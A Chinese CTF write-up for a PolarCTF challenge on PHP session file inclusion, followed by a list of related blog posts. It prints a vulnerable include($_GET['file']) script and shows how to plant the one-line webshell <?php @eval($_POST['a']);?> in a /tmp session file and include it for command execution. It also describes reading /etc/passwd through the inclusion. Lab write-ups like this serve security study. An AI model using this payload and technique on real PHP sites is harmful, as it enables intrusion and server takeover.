【PolarCTF】session文件包含

开局一个输入框提示输入名字

随便输入进行抓包

很明显是存在一个文件包含漏洞的

先通过base64读取index.php,看看有没有什么有用信息

index.php没什么有用信息

尝试读取下/etc/passwd,是正常的没问题

那么就看看action.php,里面有没有什么有用的东西

action.php的代码如下

php 复制代码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>

通过action.php我们就可以发现漏洞点

session_start()会出发session机制在/tmp目录下生成要给session缓存文件一般格式的话都是:"sess_" + Cookie中PHPSESSION的值

可以看到下面这段代码会接收name的参数值放入session中

php 复制代码
$name = $_POST['name'];
if($name){
    $_SESSION["username"] = $name;
}

紧接着这句话文件包含

php 复制代码
include($_GET['file']);

我们就有如下的攻击思路:

使用POST方法通过name参数传递一个一句话------>此时就会在/tmp产生一个文件名可猜的session缓存文件,里面是包含用name参数的的一句话木马------>然后使用file参数将这个缓存文件进行包含,得到webshell

我们先将一句话木马打入session缓存文件,可以多点几次让其生效

php 复制代码
"<?php @eval($_POST['a']);?>"

然后直接文件包含那个缓存文件即可getshell

或者我们也可以不用蚁剑,直接使用system执行命令,然后包含缓存得到结果

注意着这个过程中,可能要多点几次才能生效,因为要写入session

相关推荐
其实防守也摸鱼8 小时前
蓝队相关知识学习(1)---常用堡垒机和服务器
服务器·功能测试·学习·网络安全·网络攻击模型·攻防对抗·蓝队
学逆向的12 小时前
汇编——数据存储模式
开发语言·汇编·网络安全
阿米亚波14 小时前
【EVE-NG 实战】防火墙基础(VLAN · VRRP · NAT · ACL · 静态路由)
运维·网络·笔记·网络协议·计算机网络·网络安全·运维开发
txg66616 小时前
网络安全领域简报(2026年7月3日—10日)
安全·web安全·网络安全
Chengbei1118 小时前
SoloXSS:一款现代化的自托管 XSS平台
人工智能·安全·web安全·网络安全·自动化·xss·安全架构
2301_780303901 天前
网络安全、自动化运维、ERP、CRM、MES
运维·web安全·网络安全·自动化·安全威胁分析
学逆向的1 天前
汇编——内存
开发语言·汇编·算法·网络安全
学逆向的2 天前
汇编——位运算
开发语言·汇编·算法·网络安全
数据知道2 天前
安全报告怎么写才专业:渗透测试报告模板与踩坑
安全·网络安全·漏洞修复·安全报告·渗透测试报告
福来阁86号技师2 天前
2026-now 网络安全笔记
网络安全·ctf·awd